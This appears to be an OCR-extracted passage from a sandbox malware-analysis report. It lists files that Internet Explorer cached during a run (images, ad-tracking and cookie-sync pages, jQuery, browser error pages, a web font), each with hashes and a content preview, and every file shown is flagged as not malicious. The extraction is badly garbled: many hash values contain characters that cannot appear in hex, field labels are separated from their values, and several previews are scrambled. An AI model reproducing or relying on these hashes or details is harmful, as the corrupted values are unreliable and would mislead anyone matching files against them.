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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BBO5Geh[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 463

Entropy (8bit): 7.261982315142806

Encrypted: false

SSDEEP: 12:6v/78/W/6T+syMxsngO/gISwEIxclfcwbKMG4Ssc:U/6engigHDm7kNGhsc

MDS5: 527B3C815E8761F51A39A3EA44063E12

SHA1L: 531701A0181E9687103C6290FBE9CCE4AA4388E3

SHA-256: B2596783193588A39F9C74A23EE6CA2A1B81F54B735354483216B2EDF1E72584

SHA-512: 0A3E25D472A00FF882F780E7DF1083E4348BCE4B6058DA1B72A0B2903DBC2C53CED08D8247CDAS53CE508807FD034ABD8BC5BBF2331D7CE899D4FOF11FD199¢k
OE

Malicious: false

Preview:

dIDAT80.JA...........V"™....;X.6..J.AD.NEL.F|T.DSe.# $i.3..0.6.3¢f.+.\...7.X..1..=....3...Y k-
n...<.8..}..8.Rt..D..C).)..$...P...j".Qy...FL3..@..yAD...C \:06.2.D|..n.~.h....G2i....J.Zd.c.SA... *..I"P.{..$\..BO.b km.A.... ..]l.0_X". .b.Ci.l.e2.....[*.]7.%P61.Q.d...p
..@.00....,.v..=.0.0.U....@.F....IEND.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\BBPfCZL[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type: GIF image data, version 89a, 50 x 50
Category: dropped
Size (bytes): 2313
Entropy (8bit): 7.594679301225926
Encrypted: false
SSDEEP: 48:5Zvh217t5SkY33fS+PuSsgSrrVi7X3ZgMjkCqBn9VKg3dPnRd:vkrrS333g+PagKk7X3Zgal9kMpRd
MD5: 59DAB7927838DE6A39856EED1495701B
SHAL: AB0734C857BFF8FF159C1879A041C6EA2329A1FA
SHA-256: 544BA9B5585B12B62B01C095633EFC953A7732A29CB1E941FDESAD62AD462D57
SHA-512: 7D3FB1A5CC782E3C5047A6C5F14BF26DD39B8974962550193464B84A9B83B4C42FB38B19BDOCEF8247B78E3674F0C26F499DAFCF9AF780710221259D2625DB8¢
Malicious: false
Preview:
GIF89a2.2....7..;..7..C..I.H..<..9...8.F.7.E.@..C..@..6..9..8.J..72.G..>..?..A..6..>..8.....A.=.B.4.B..D.=.K.=.@.<...3~B.D....,|4.2.6...0.,.G..FL.1}4.R...

Y.E.>.9.5.X.A.2.P.J./|9....T+Z....+.<Fq.Gn.V..;.7.Lr.W..C.<Fpl]....A...0{ L.LE.H.@....3..3.0.M.K... #[.3i..D.>....... l..<n.;.Z.1.G.8..E..Hu.1.>..

T..a.Fs..C..8..0}. e[ 8T e.@..B. >.?2.n.....0......s...)a.Cm...."a.0Z..7...3f.<:e....@.q....Ds..B...IP
NeJein Li. FoBoihe W ".[1g...J.Ms..K.Ft .Ry.Nv.n..]..BI . ..0y. I.NETSCAPE2.0....!...d...,....2.2......
.3...9.(].d.C .wH.(."D...(D.....d.Y.....<.(PP.F...dL.@.&.28..$1S... *TP.....>.. L.IT.XL(.@a..IsgM..|..Jc(Q.*....... 2.)y2.J.....W,.ew2.!...1..C....d..zeh....P.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BBX2afX[1].png

Process: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File Type: PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced

Category: dropped

Size (bytes): 688

Entropy (8bit): 7.578207563914851

Encrypted: false

SSDEEP: 12:6v/74//aalCzkSOmMs9aEx1Jt+9YKLg+bh30121P7qO1uCqbyldNEIA67:BPObXRCc6AjOI21Pf1dNCy
MD5: 09A4FCF1442AD182D5E707FEBC1AG65F

SHA1L: 34491D02888B36F88365639EE0458EDBOA4EC3AC

SHA-256: BE265513903C278FI9C6E1EBIE4158FA7837A2ABAC6A75ECBEID16F918C12B536
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\BBX2afX[1].png

SHA-512:

Malicious:

Preview:

2A8FA8652CB92BBA624478662BC7462D4EA8500FA36FESE77CBD50AC6BDOF635AA68988C0OEG46FEDC39428C19715DCD254E241EB18A184679C3A152030FDIFF
8

false

PNG........ IHDR...coovrviin U...sRGB......... gAMA.....a....pHYs.......... 0.d...EIDATHK.Mh.A......4....b.Z0oz...2." ... AL X o (RA(QPAKT . LYW3. . M....2./...7 . Jo...
~U'..K_..YM...5wlb....y.V.|.-e.i..D..[V.J..C.....R.QH........ .U... ] $]LE3.}......r ). MS..S.#.11..Y g 8."M.....Q.>,. 2S. {(7.co; LW..2MZ.>..... 72=.@.9@.;.U..~.
L [ZH3ULH.... G+3.=V."D7..1/K.._.LXY....E.$.{ 5j.D..&....{IYU.~G...F3..E..{. ......S...A.Zf<=....." 1ve.2}[.....C....h&....r.O..c...U... .N_.S.Y.Q~.?..0.M.L..P #...
b..&.5.Z...r.Q.zM<...+.X3..Tgf._...+SS...u....... */......END.B".

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\P[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

2412

5.977313052218162

false
48:nGUHKEDqGfKM7d1sdF8TTapUb9ICE7dNO01RZPMXaxLoJhsawtOT:GokZGr34F8TmpUxIDdObLoLsasy
5CB29836874970B2D31D14AE291649B6

73BDE6D548C57AF12A9D0488ACE44A25E1EEAF2E
A5370693B1EOCOAEC3F927CF8025BF4D7A4004EC22E2642B7D7732E5B356530F

000D59ABASE4COFB4EBAD1CA96ADA33251BDE8SA0B5068973FC280F7BEA2D929ED39B074126D599FC27384ED4932A726 AEGEDFF5AB43EE9DS52351100AE42A¢
FO

false

ul+2PhoC70A4PiWX5/kd/PbArS8mhUTp8Wx9QbuY IfzhBcjbLWhD/YW6FqXkwkatQp53ITw/Roh+K12g3+SDXLHsZg1lonRptqS6cIJNNKM4ACsTKp08YZQzLgifvh4BR49Ht
rKlrlittbbe1SI38cWQ+R6Q0IMcKQt2HFTCOf9IRawFm5LgEG/Ihnked1mQmSB+wDHiOh+DEHMOFk1IHIRGHMyOJEsfoY689i3Z06gLembNbVhd2RG+2yDXj+xn9YNtyaGhb
fpQEj7un2kD7zsz28BqYmCQW/cqn/BsP/3VQxbg5RY8GwWD0J2B7R5VS1TUYrmlI8MInYiQQIjWIyoK+zjaVArGnftLxpe5Z/EmaDZRPydR9ndeHoAm+Hrxe7eJrzQU3h53
alTR4jFRppY5yrMEzNzL51DO6CqMg9GgowlfiskDKa3uCX/wlquQrNSna+UUP1RcAySICKXxLRpE/5BnVU112n6Su3UitviMcDm51XvDKSIGAHamQd8c TRbB+om4giF6zqR
AWT7kxDwdtqsGVrH1AZcmBmZLJIgs5WjUk7FilKiFaoL4gcozRONF5SIBHScz54SmDfmPBOlYwLWsmoBKX3HoaDfmipl Ez2IUSkc33q/W5zd8aL WkFQ+aVxnvu
+t9JSC28kYuYq4B5ZrhwmQo7Co6DinIbHB8ObQ5K2BK70DIMGM+XWURC43MEGxi/2hHBSh4Hbm8d8ZjQmuSNnWSvnCpDLv2smhTC5IS3gEmMVv42qS5h3sagC
UOoKcl1XbUV8ZQh7NOMOu4DSf3bp4zUghRWaRVAq8Bi9Bt70tFVkIKHCV7FZ9zWzd0sqzgn3uXuM2PblgfrogXv2fHM2dhp1ZKDVDopBGn2L29Yudkn6y2jN
01s+dvJTCeBg+DYecLxiWIGI35A0kcItkXvtTEqr/IUHEbLbbRDGtVXOO0Sg3tjmdJ7cVEUVNpzOISEWGMGq4MP7FgT1rntb8mWvigga38UyU6nEJ1NSTIilbh

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\_2B[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with no line terminators

dropped

296364

5.999872391694674

false
6144:uzLKILnx7wY18ST00ZYe5eFhubxvoP49VpZWSVfaw+NZ4ByOh41XC:uXKIjx7VST0ZzubPORWSVIN6Z4R41S
D0144AC325155F9CBF39316DBFD562B0

73C8D44818D6FAE02DA254C3A79D2B04549C26F4
F71E6755A3CD8E6C09DB2DCA7002A83B04B8EF1C02778177176D730CFO7FCA39

ADGDBE9443DE9E3B65EEDOF8EF821B59D012ED94ED8FADGA375F697D65CE741575934B59C9A61DEE3F82B5F3CDDF47ADCD18BDEC40596BASACF137A329A3
C05

false

NgiZ+EuzvV8Dk6KgL8NLOABLCLWto8eYc6Cc36MjMFSIDWVJISicUb6KZ/f911J/ClhNeB2/XW1P8rw7Q4CaPrIQTRAB508848M0O2WSjlwMGhFVAfIDP1dYzN4TftBRNNIO
cTNjpgBwmyhLbL17cTfDzis6 TrjiBNiOQVQgF40MUhCo54rIUwJQD6DtxI4HjLH5L03PEwWjpFwgmZ201darTyKJI7PjqYMzelLMpvbpiSXV3Lu3PU3BXxS1GK94w6Uth7v+L
L6P+qcQOFBwW6S/QDuMMxmF4uYb8d+x1kiIBCs1woBZ2ICFfZpDQ9jsMrezbFsbmek2gRghNY1eQN1NR+/n8QIIUFk1jU/ND+J38EwO5YJOI50QZHnIUuoyECC
IXTegep7X5eps15ZmLyRSwY3Z9FkFIrKdTZ6nsSqpdwZ1KzVkd4mXUrBpNef/W7FPdhcwsFmJzCLU59XIX/smp6mJI8Cs1UEAya3TIngfIgAy9G8b99IpUAZzhMf8yOhWit5
8tP/YVu54PXNEZqjMF94eHUNApOXM3xkcIDNGLx28zkZjiObjjyKYL1n/2NuHDZWZGpANWcPqgFOggoy TQW4AWWRIjlY Rr1xEJc8FesOAHdpmz1+GHhcPneqv8iyv9FqDxB
POO0OS2qlpcVLWCPbq/3uqiN6k/OLECc/3rbuQjt7836eP44fVfsv5duwCB6Z0Tx4D1VE7dnLIF2TISMGJuZMIF9eX8qnUkYnLByamHzN8gA6wYuQ+TVs/9bLHOfULRWEUSFQ
OwxVz6qyGfH1Qd1W6qvESfibJjyrOUJEBa+zMW80M1LUIL+zX+jcDKBImKMArE8sklz+CXHdxOeSu7QDY x+14VkvfluKaPtKHppQLKYrVF7B7kvfO/kbNgTWMmniQUL2Y
uPZXabRHyKzgqTIrqgOe2+uwzV6fuECog3jYjvcOK2WPW/t5UgTqvxKMQ57FnvfP225+ZzMf/nJOMFIVXWYxQD5PnZylc9dOgIGlp

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\aadcdc47-f26 7-4b70-bc4e-4fdd88f9ef0d[1].jpg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 300x300, frames 3
dropped

65666

7.969062209096049

false

1536:ksIDIwZ40c+69cU0xOgySXz6nZylZcoisOJ6Vk+V0/OvWIw:21Z+69pgySXCZuSsOaF0/0v9
E9E825E00F041F68940194D990C3D152

COD692BED47D6345932A1E8B622D43E921BDC131
BE80D5211A90B4CASE7D635C5657F8353514B9DB21709272938A1BA9290E3F71

E82F6E9AFIF8368512CB5ESE762CC0C72D241A50CD52306AD6A2D373BA341554CBC7D0OBDEG30300D9179F51195C5CA2C3068EB960CCO0A74CDEAD37CAGF58|
63

false
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C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\aadcdc47-f26 7-4b70-bc4e-4fdd88f9ef0d[1].jpg

Preview:

LL1A"Qaq..2.4B
?0..~.9.2A..~~.?...C.}.M..2.m.=).0.....L...Ng....0.X"J}G.2@ >
a...c.|z..A..8...u. A Vo={ 1o X L%@...2. ) )V L ze . 97..@......=] 8.
M....... A_..0.7.-D(;;.aAm.HP.]......d.."L .. >) >Z|&QL(r7 A HVW.$.s.F{.9

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\auction[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

24404

5.644957674990508

false
384:jg8g8CBrgcgxB56RBrg/MfojVqBrgRVJIsUZBJIgfWAwWBJg5IRqWD21BJg2pX/0UB+:jg8g8ugdxB5Sg/zjUgRzsygfWRg5iqWV
BE1783B4F13D4642E638A37AF2F09F3A

7F0D05B98207DEB2D3367A0D5AD56F399A89E8BC
4EF7FC9CB4B27B38A926560ED29862550EE525683604C8CCAA5709BD49ABES03
1565E7017A358A449CFD2A654AD179166652785DD6D977894509E602C36098D8CEE72CF1990A70B122EADFFDB25CDA6433926BC64EF7B093D2085898ABE 1626+

false

.<script id="sam-metadata" type="text/html" data-json="{&quot;optout&quot;:{&quot;msaOptOut&quot;:false,&quot;browserOptOut&quot;:false} &quot;taboola&quot;:{&q
uot;sessionld&quot;:&quot;v2_ab9e53632be37879b51e2fa9b500efea_ea92bcfd-5288-4a85-90e7-44fd8eeccfO1-tuct7015760_1611125216_1611125216_Cli3jgY
Qrdc_GJSkzbadrfPTISABKAEWKZziyOA1AOIgQSN7Y2QNQ AVgAYABoopygvanCqcmOAQ&quot;},&quot;tbsessionid&quot;:&quot;v2_ab9e53632b
e37879b51e2fad9b500efea_ea92bcfd-5288-4a85-90e7-44fd8eeccfO1-tuct7015760_1611125216_1611125216_Cli3jgYQrdc_GJISkzbasrfPTISABKAEWKZziyOALAOIgQSN
7Y20NQ AVgAYABoopygvanCqcmOAQ&quot;,&quot;pageViewld&quot;:&quot;b4f87ceec8634calb5d0e03dfb01c34a&quot;,&quot;RequestLevelBeaconU
rls&quot;:[]}">.</script>.<li class="triptych serversidenativead hasimage " data-json="{&quot;tvb&quot;:[],&quot;trb&quot;:[],&quot;tjp&quot;:[],&quot;p&quot;:&quot;taboo
la&quot;,&quot;e&quot;:true}" data-provider="taboola" data-ad-region="infopane" data-ad-index="3" data-viewability="">.<

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\checksync[1].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20647

5.298160305572905

false
384:PFBAGM6EIzD7XzeMk/Ig2f5vzBgF30ZOQtQWwWY4RXrqt:9SEJIDNCi2RmF30sQtQWwY4RXrqt
5B2D766D584BA7533F11EDCFD4E41294

27864FF83922B20C28E1A28AA81D3D4CBF08A378
B8390B7FC30203272A4D556451A29D2B39A3F87AADCI39D564E7D8861271A966

EACEB2DE3057B61E6A62B463306A22334F8B5201C7B3336066B0390A2A426EDDFDODBCIOFFA81CDCE95BCEB18D40D868BAAOSESBECA3AGSF36AD623943AA6A
A8

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":73,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal 'sepTime"
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup™":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V" "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g":0,"cocs":0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSite Support":"
0","batch™{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tIx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt", "got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe
ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\Vcslogger.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\checksync[2].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20647

5.298160305572905

false
384:PFBAGM6EIzD7XzeMk/Ig2f5vzBgF30ZOQtQWwWY4RXrqt:9SEJIDNCi2RmF30sQtQWwY4RXrqt
5B2D766D584BA7533F11EDCFD4E41294

27864FF83922B20C28E1A28AA81D3D4CBF08A378
B8390B7FC30203272A4D556451A29D2B39A3F87AADCI39D564E7D8861271A966

EACEB2DE3057B61E6A62B463306A22334F8B5201C7B3336066B0390A2A426EDDFDODBCOFFA81CDCE95BCEB18D40D868BAAOSESBECA3AGSF36AD623943AA6A
A8

false

<html> <head></head> <body> <script type
" "vsDaTime":31536000,"c
cocs":0},"brx":

="text/javascript">try{.var cookieSyncConfig = {"datalen":73,"visitor’
"CH","zone":"d"},"cs ‘cookie":"data-g name":"vzn","cookie":"data-
! " "cookie":"data-br","isBI":1,"g":0,"coc: {"name’ "cookie":"data-Ir", cocs":0}},"hasSameSiteSupport":"
0" "batch"'{"gGroups ["apx”,"csm","ppt","rbcn”,"son","bdt","con","opx","tIx","mma","c1x","ys","sov" 'g","pb","dxu", "rkt" "trx","wds","crt","ayl","bs","ui","shr","lvr","y
Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000, "ngGroups":[]},"log":{"succe

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\Vcslogger.

{"vka" "V|S|tor id","vsDaCk":"data","sepVal":"|","sepTime"

{"name":"brx

@
s
<

Page 33 of 71



C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\checksync[3].htm

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, ASCII text, with very long lines

dropped

20647

5.298160305572905

false
384:PFBAGM6EIzD7XzeMk/Ig2f5vzBgF30ZOQtQWwWY4RXrqt:9SEJIDNCi2RmF30sQtQWwY4RXrqt
5B2D766D584BA7533F11EDCFD4E41294

27864FF83922B20C28E1A28AA81D3D4CBF08A378
B8390B7FC30203272A4D556451A29D2B39A3F87AADCI39D564E7D8861271A966

EACEB2DE3057B61E6A62B463306A22334F8B5201C7B3336066B0390A2A426EDDFDODBCIOFFA81CDCE95BCEB18D40D868BAAOSESBECA3AGS5F36AD623943AA6A
A8

false

<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":73,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal
" "sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBI":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-
V", "isBI":1,"g"0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBI":1,"g cocs™:0},"Ir":{"name":"Ir","cookie":"data-Ir","isBI":1,"g":1,"cocs":0}},"hasSameSiteSupport":"
0","batch™:{"gGroups":[*apx","csm","| " "elx”,"ys", "sov","fb","r1","g","pb","dxu", "rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","y
nat","ob","adt","got","mf","emx","sy","Ir","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"log":{"succe

Id","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","

ssLper":10,"failLper":10,"logUrl":{"cl":"https:\/Vhblg.media.netVlog?logid=kfk&evtid=chlog"}},"csloggerUrl":"https:\\V/cslogger.

ppt","rben”,"son","bdt","con”,"opx", "tx","mma’

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\dnserror[1]

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

2997

4.4885437940628465

false

48:u7u5V4VyhhV2IFUW29vjORkpNc7KpAP8Rra:vIlJ6G7A08Ra
2DC61EB461DA1436F5D22BCE51425660
E1B79BCABOF073868079D807FAEC669596DC46C1
ACDEB4966289B6CE46ECC879531F85E9C6F94B718AAB521D38E2E00F7F7F7993

A88BECB4FBDDC5AFC55E4DC0135AF714A3EEC4A63810AE5A989F2CECB824A686165D3CEDBSCBD8F35C7ESBIF4136C29DEA32736AABB451FE8088B978B493
AC6D

false

<IDOCTYPE HTML>..<html>.. <head>.. <link rel="stylesheet" type="text/css" href="NewErrorPageTemplate.css" >.. <meta http-equiv="Content-Type"

content="text/html; charset=UTF-8">.. <title>Can&rsquo;t reach this page</title>.. <script src="errorPageStrings.js" language="javascript" type="text/javascript">..
</script>.. <script src="httpErrorPagesScripts.js" language="javascript" type="text/javascript">.. </script>.. </head>.... <body onLoad="getInfo(); initMo

relnfo('infoBlockID);">.. <div id="contentContainer" class="mainContent">.. <div id="mainTitle" class="title">Can&rsquo;t reach this page</div>.. <div

class="taskSection" id="taskSection">.. <ul id="cantDisplayTasks" class="tasks">.. <li id="task1-1">Make sure the web address <span id=

"webpage" class="webpageURL"></span>is correct</li>.. <li id="task1-2">Search for this site on Bing</li>..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\errorPageStrings[1]

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

UTF-8 Unicode (with BOM) text, with CRLF line terminators

dropped

4720

5.164796203267696

false
96:z9UUigRxqH211CUIRgRLNRynjZbRXkRPRK6C87Apsat/5/+mhPcF+5g+mOQb7A90:JsUOG1yNIX6ZzWpHOWLial6Ch7bk
D65EC06F21C379C87040B83CCLABACEB

208D0A0BB775661758394BE7E4AFB18357E46C8B
A1270E90CEA31B46432EC44731BF4400D22B38EB2855326BF934FE8F1B169A4F
8A166D26B49A5DI5AEA49BCE49ESEA58786A2191F4AD2ADACEF5FBB7523940CE4482D6A2502AA870A931224F215CB2010A8C9B99A2C1820150E4D365CAB28299

false

/ISplit out for localization...var L_GOBACK_TEXT = "Go back to the previous page.";..var L_ REFRESH_TEXT = "Refresh the page.";..var L_MOREINFO_TEXT = "More
information”;..var L_OFFLINE_USERS_TEXT = "For offline users";..var L_RELOAD_TEXT = "Retype the address.";..var L_HIDE_HOTKEYS_TEXT = "Hide tab shortcuts
";..var L_SHOW_HOTKEYS_TEXT = "Show more tab shortcuts";..var L_CONNECTION_OFF_TEXT = "You are not connected to the Internet. Check your Internet conn
ection.";..var L_CONNECTION_ON_TEXT = "It appears you are connected to the Internet, but you might want to try to reconnect to the Internet.";....//used by invalidcert.js
and hstscerterror.js..var L_CertUnknownCA_TEXT = "Your PC doesn\u2019t trust this website\u2019s security certificate.";..var L_CertExpired_TEXT = "The website
\u2019s security certificate is not yet valid or has expired.";..var L_CertCNMismatch_TEXT = "The hostname in the website\u2019s security certificate differs from the web
site you are trying to visit.";..var L

C:\Users\user\AppData\Local\Microsoft\Windows\INetCachellE\OW10PBUV\http___cdn.taboola.com_libtrc_static_thumbnails_cOba0ac363a5eb
08840d7fb5ddecbdae[1].jpg

Process:
File Type:
Category:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe
JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, progressive, precision 8, 207x311, frames 3
dropped
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C:\Users\user\AppDatal\Local\Microsoft\Windows\INetCachellE\OW10PBUV\http___cdn.taboola.com_libtrc_static_thumbnails_cOba0ac363a5eb
08840d7fb5ddecbdae[1].jpg

Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

51295

7.979143531045255

false

1536:bn8b6SB0J+2HJI9ZCj5MTwz6lyhvFOr9BBYFXjZpuA2:bnGtBOT9gdMg6EtArfiFzzul

FC488E3E231F6DAE109427666E3815A5

5C8611F6EA3C13CE107E566E5770C86B4CD39230

FOB79DEDE88E183B964B84B3B419DD16494102E9C0DC8DD33D267A56F666DDC7
FE76B71E67EF30AA4593EC2D4EFAC404BC66516369E03782AD40B7E257CEIAF69BD925322153E95COFA8BB1B5F09F334C2BF13142F5120A0FE15BF038E398BC

false

..&"&0-0>>T ) - '%'19339GDG]J}..... 7
s.?2tv..U;N..nw.3d...Q.. LW5Vedw.Gn.ywk #...... #...%..;dw.......q..yq...y.=...;." .59, vGe.n. #.\.L..vQ}
~w.=.yg...[..V1.:...~S..dwDv.r....... m._r{..5~z45]...F.qU}/.y{....l... ....6..s.w.cU......s]..r.)..W's.+;..N..bda.....ZXE.GV.&R..y....e.=...0.j.....J..N...#LVZ..Y8V.....Z.
\..G#._wF.... _ye._.b4.

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\jquery-2.1.1.min[1].js

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

ASCII text, with very long lines, with CRLF line terminators

dropped

84249

5.369991369254365

false
1536:DPEKjP+iADIOr/NEe876nmBu3HvF38NdTuJO1z6/A4TqAubOR4ULvguEhjzXpa9r:oNM2Jiz60AFKP5a98HrY
9A094379D98C6458D480AD5A51C4AA27

3FE9DBACAAEC99FCBA3FOE9OED66D5057DA2DEAE
B2CE8462D173FC92B60F98701F45443710E423AF1B11525A762008FF2C1A0204

4BBB1CCB1C9712ACE14220D79A16CAD01B56A4175A0DD837A90CA4D6EC262EBFOFC20E6FA1E19DB593F3D593DDD90CFDFFE492EF17A356A1756F27F903768B
50

false

/*1'jQuery v2.1.1 | (c) 2005, 2014 jQuery Foundation, Inc. | jquery.org/license */..!Ifunction(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports
=a.document?b(a,!0):function(a){if('a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:
this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={} I=a.document,m="2.1.1",n=function(a,b){return new n.fn.ini
t(a,b)},0=/"[\s\UFEFF\XAQ]+|[\s\uFEFF\xAQ]+$/g,p=/"-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"" len
gth:0,toArray:function(){return d.call(this)},get:function(a){return null'=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a)
;return b.prevObject=this,b.context=this.context,b},each:function(a,b){return n.each(this,a,b)},map:function(a){return this.pushStack(n.map(this,funct

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lE\OW10PBUV\log[1].gif

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

C:\Program Files (x86)\Internet Explorer\iexplore.exe

GIF image data, version 89a, 1 x 1

dropped

35

3.081640248790488

false

3:CUNI/RCXknEn:/wknEn

349909CE1E0BC971D452284590236B09
ADFCO1F8A9DE68BIB27E6F98A68737C162167066
796C46EC10BC9105545F6F90D51593921B69956BD9087EB72BEE83F40AD86F90
18115C1109E5F6B67954A5FF697E33C57F749EF877D51AA01A669A218B73B479CFE4A4942E65E3A9C3E28AE6D8A467D07D137D47ECEQ072881001CA5F5736B9C(C

false

GIF89a............. R @..L.,;

C:\Users\luser\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\4996b9[1].woff

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Copyright null 2021

C:\Program Files (x86)\Internet Explorer\iexplore.exe

Web Open Font Format, TrueType, length 45633, version 1.0

dropped

45633

6.523183274214988

false
768:GiE2wcDeO5t68PKACTgVEWZfaDDXLQO+nSECIr1X/7BXq/SHOCI7dA7Q/BOWKAfO:82/DeO5M8PKASCZSvxQO0+TCPXtUSHF7¢
A92232F513DC07C229DDFA3DE4979FBA

EB6E465AE947709D5215269076F99766B53AE3D1
FA477B53BF5E6E10FA78C41DEAF32FA4D78A657D7B2EFE85B35C06886C7191BB9
32A33CCID6F2F1C962174F6CC636053A4BFA29A287AF72B2E2825D8FA6336850C902AB3F4C07FB4BF0158353EBBD36C0D367A5E35809840D70B90B93DB2AE32
